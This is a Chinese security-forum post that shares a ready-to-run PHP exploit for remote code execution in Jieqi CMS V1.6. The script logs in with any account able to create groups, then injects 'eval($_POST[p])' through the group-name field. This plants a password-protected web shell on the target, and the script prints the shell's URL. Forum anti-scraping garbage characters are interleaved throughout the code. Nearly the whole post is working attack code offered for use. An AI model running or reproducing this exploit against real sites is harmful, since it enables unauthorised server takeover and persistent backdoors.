找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2095|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。( s! H4 v$ D, M5 d8 F
" a1 h4 t8 j: G& Z) O
/ P, [' L! j6 d( Y! _& F' i' n
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。
. ^1 w( G& o9 `/ J7 O 需要有一个能创建圈子的用户。' u8 p) n) ?/ G' y

8 j" ^8 v* @4 e- [/ [. ^, Z<?php
5 {6 Z) D+ d5 Z2 c* e
, }4 W; M+ t; [7 L( Qprint_r('
* I: A3 ?6 c8 M4 R8 y. x+---------------------------------------------------------------------------+
6 [( o$ L( U' f- I( eJieqi CMS V1.6 PHP Code Injection Exploit
( ~4 k% f. W* l9 bby flyh4t
  b* U- C  S8 J+ J! \% Gmail: phpsec at hotmail dot com* ?. q7 R; a- \  w
team: http://www.wolvez.org
3 g5 a* ]+ }: g  R7 w) w" W- }+---------------------------------------------------------------------------+
: ~3 Y% O0 D1 @! w, v1 i'); /**
8 q; h# ~/ H- \8 d/ g- a7 p * works regardless of php.ini settings
6 R  [4 g# b6 A" P*/ if ($argc < 5) { print_r('5 }* ?; z  _& L+ _8 _( I1 a2 ^1 n
+---------------------------------------------------------------------------+
: H" o  d* e" y0 s6 a7 pUsage: php '.$argv[0].' host path username
5 G. V9 j9 J9 P! uhost:      target server (ip/hostname)
1 |: U. G2 Q% h6 C: [path:      path to jieqicms
% o  X! u  u7 [2 C# m& j# g. C3 duasename:  a username who can create group3 ]  B, W$ V7 G2 A6 w. V* o
Example:9 R: j1 J. _+ i# i1 Q
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
) a: K: x  _5 M! i9 [  p+---------------------------------------------------------------------------+
- @$ T& U+ X! Q2 N7 ~'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
( \# O) S5 m; MContent-Disposition: form-data; name="gname"
  y: i2 E7 l8 ]5 E( C  S
6 X) J, z- b- U; A  @2 r. N'; $params .="';"; $params .='eval($_POST[p]);//flyh4t* g( a) R3 T  `% q, y, E
-----------------------------23281168279961- ?3 k' n! j. o( K: S; v$ n
Content-Disposition: form-data; name="gcatid"7 |4 b% ]% ~8 Y+ s) O

; ]# l& m: F$ R: [% F0 _1
7 S4 I3 t' V5 b5 `7 d-----------------------------232811682799616 e' x% c& ~' X3 p! E7 t1 @# I1 G
Content-Disposition: form-data; name="gaudit"
9 T+ U4 N+ w0 a# t2 m% {' t " q( k( t$ v. x! f9 i2 E  l
13 t5 `3 s) O! a' h: n+ w" |
-----------------------------232811682799611 d8 b: t6 i4 V8 b6 E! \
Content-Disposition: form-data; name="gbrief"$ h6 `+ T  t, O  _: M7 S- W% R

; N7 I/ Q% a! P5 [1  i8 u7 F9 h2 e& x$ u# n/ p2 |
-----------------------------23281168279961--
* ~* a; |% ~/ h'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com) y7 k8 I1 Z! R  G
5 l4 D' c9 v0 R
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表